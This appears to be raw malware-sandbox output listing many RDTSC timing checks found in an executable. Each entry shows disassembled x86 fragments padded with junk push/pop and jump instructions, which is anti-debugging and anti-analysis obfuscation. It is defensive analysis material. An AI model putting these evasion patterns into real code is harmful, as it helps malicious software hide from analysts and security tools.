Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5738C1 second address: 5738CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5738CD second address: 5738D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572A31 second address: 572A4D instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB4390A66C0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572A4D second address: 572A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572EB9 second address: 572EBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572EBF second address: 572EC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572EC5 second address: 572EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573059 second address: 57308A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 js 00007FB438C61F26h 0x0000000f jmp 00007FB438C61F39h 0x00000014 pop ecx 0x00000015 jns 00007FB438C61F2Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 573210 second address: 573214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5758A3 second address: 5758A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5758A9 second address: 5758AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5758AD second address: 5758E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movsx edi, dx 0x0000000e push 00000000h 0x00000010 or ecx, 07ECAF5Eh 0x00000016 call 00007FB438C61F29h 0x0000001b jo 00007FB438C61F36h 0x00000021 jmp 00007FB438C61F30h 0x00000026 push eax 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5758E8 second address: 5758FC instructions: 0x00000000 rdtsc 0x00000002 je 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5758FC second address: 575900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575900 second address: 575938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB4390A66C7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575938 second address: 57594F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FB438C61F26h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57594F second address: 575961 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB4390A66B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575A8A second address: 575A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575A8E second address: 575A94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575A94 second address: 575A9E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB438C61F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575A9E second address: 575B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 xor dword ptr [ebp+122D2BF9h], eax 0x0000000d push 00000000h 0x0000000f movsx edi, ax 0x00000012 call 00007FB4390A66B9h 0x00000017 pushad 0x00000018 jmp 00007FB4390A66C0h 0x0000001d jmp 00007FB4390A66C2h 0x00000022 popad 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007FB4390A66C0h 0x0000002c jmp 00007FB4390A66C4h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575B06 second address: 575B33 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB438C61F39h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007FB438C61F26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575B33 second address: 575B49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575B49 second address: 575BE8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB438C61F34h 0x00000008 jmp 00007FB438C61F2Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 jne 00007FB438C61F32h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push edi 0x0000001c push edi 0x0000001d push eax 0x0000001e pop eax 0x0000001f pop edi 0x00000020 pop edi 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007FB438C61F28h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c adc di, 1260h 0x00000041 mov dword ptr [ebp+122D371Ah], ebx 0x00000047 push 00000003h 0x00000049 mov ecx, dword ptr [ebp+122D2774h] 0x0000004f push 00000000h 0x00000051 jmp 00007FB438C61F38h 0x00000056 push 00000003h 0x00000058 js 00007FB438C61F2Eh 0x0000005e push ecx 0x0000005f sub dword ptr [ebp+122D1C82h], ebx 0x00000065 pop esi 0x00000066 push 67BBB1CBh 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575BE8 second address: 575BF2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575D1B second address: 575D30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 je 00007FB438C61F38h 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FB438C61F26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575D30 second address: 575D47 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jc 00007FB4390A66BEh 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575D47 second address: 575D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov eax, dword ptr [eax] 0x00000007 jmp 00007FB438C61F2Fh 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB438C61F2Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595AF3 second address: 595AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595C41 second address: 595C5B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB438C61F32h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595DAD second address: 595DC1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007FB4390A66B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007FB4390A66B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 595DC1 second address: 595DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59609B second address: 5960C0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB4390A66B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB4390A66BDh 0x00000010 js 00007FB4390A66B6h 0x00000016 je 00007FB4390A66B6h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5960C0 second address: 5960C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5960C6 second address: 5960CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596217 second address: 59621D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59621D second address: 596223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5964E9 second address: 5964F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5964F3 second address: 596503 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB4390A66B6h 0x00000008 jnl 00007FB4390A66B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596648 second address: 59664E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 596922 second address: 59692D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58DF21 second address: 58DF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58DF29 second address: 58DF2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569007 second address: 569015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB438C61F26h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5973DE second address: 59741A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jns 00007FB4390A66B6h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FB4390A66BBh 0x00000013 jmp 00007FB4390A66C2h 0x00000018 jmp 00007FB4390A66C0h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0D7 second address: 55F0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F31h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F0EC second address: 55F0FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AF38 second address: 59AF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B49B second address: 59B4B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FB4390A66BAh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A4FC second address: 59A502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A502 second address: 59A50D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A50D second address: 59A512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B6E0 second address: 59B6E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2772 second address: 5A2776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A28CD second address: 5A28D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A28D1 second address: 5A28E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F30h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2E84 second address: 5A2E8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2E8C second address: 5A2E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2FEB second address: 5A2FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2FF1 second address: 5A2FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2FF5 second address: 5A3019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C2h 0x00000007 jnp 00007FB4390A66B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007FB4390A66BCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E3E second address: 5A5E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E42 second address: 5A5E46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E46 second address: 5A5E4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E4C second address: 5A5E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E57 second address: 5A5E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E64 second address: 5A5E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E68 second address: 5A5E72 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB438C61F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E72 second address: 5A5E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FB4390A66B6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E82 second address: 5A5E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5E86 second address: 5A5EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB4390A66C5h 0x0000000d jmp 00007FB4390A66C2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A65C1 second address: 5A6613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB438C61F31h 0x00000009 popad 0x0000000a add dword ptr [esp], 18CC9A2Fh 0x00000011 jmp 00007FB438C61F35h 0x00000016 push 0666C8F7h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB438C61F39h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6765 second address: 5A6786 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FB4390A66B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6942 second address: 5A6948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6BA6 second address: 5A6BAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6C65 second address: 5A6C6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6CFC second address: 5A6D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6D04 second address: 5A6D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007FB438C61F26h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6D15 second address: 5A6D25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6D25 second address: 5A6D2F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB438C61F2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A716C second address: 5A7172 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7172 second address: 5A7176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7176 second address: 5A717A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A75E3 second address: 5A75F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB438C61F2Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7694 second address: 5A7699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A969D second address: 5A96A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A96A1 second address: 5A96A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A96A5 second address: 5A96C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB438C61F39h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A96C8 second address: 5A96CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A96CC second address: 5A9724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB438C61F2Ah 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FB438C61F28h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 jmp 00007FB438C61F38h 0x0000002c push 00000000h 0x0000002e clc 0x0000002f push 00000000h 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 push esi 0x00000038 pop esi 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A9724 second address: 5A974A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB4390A66C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FB4390A66B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A974A second address: 5A9750 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA18F second address: 5AA1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jp 00007FB4390A66B6h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB4390A66BCh 0x00000018 rdtsc
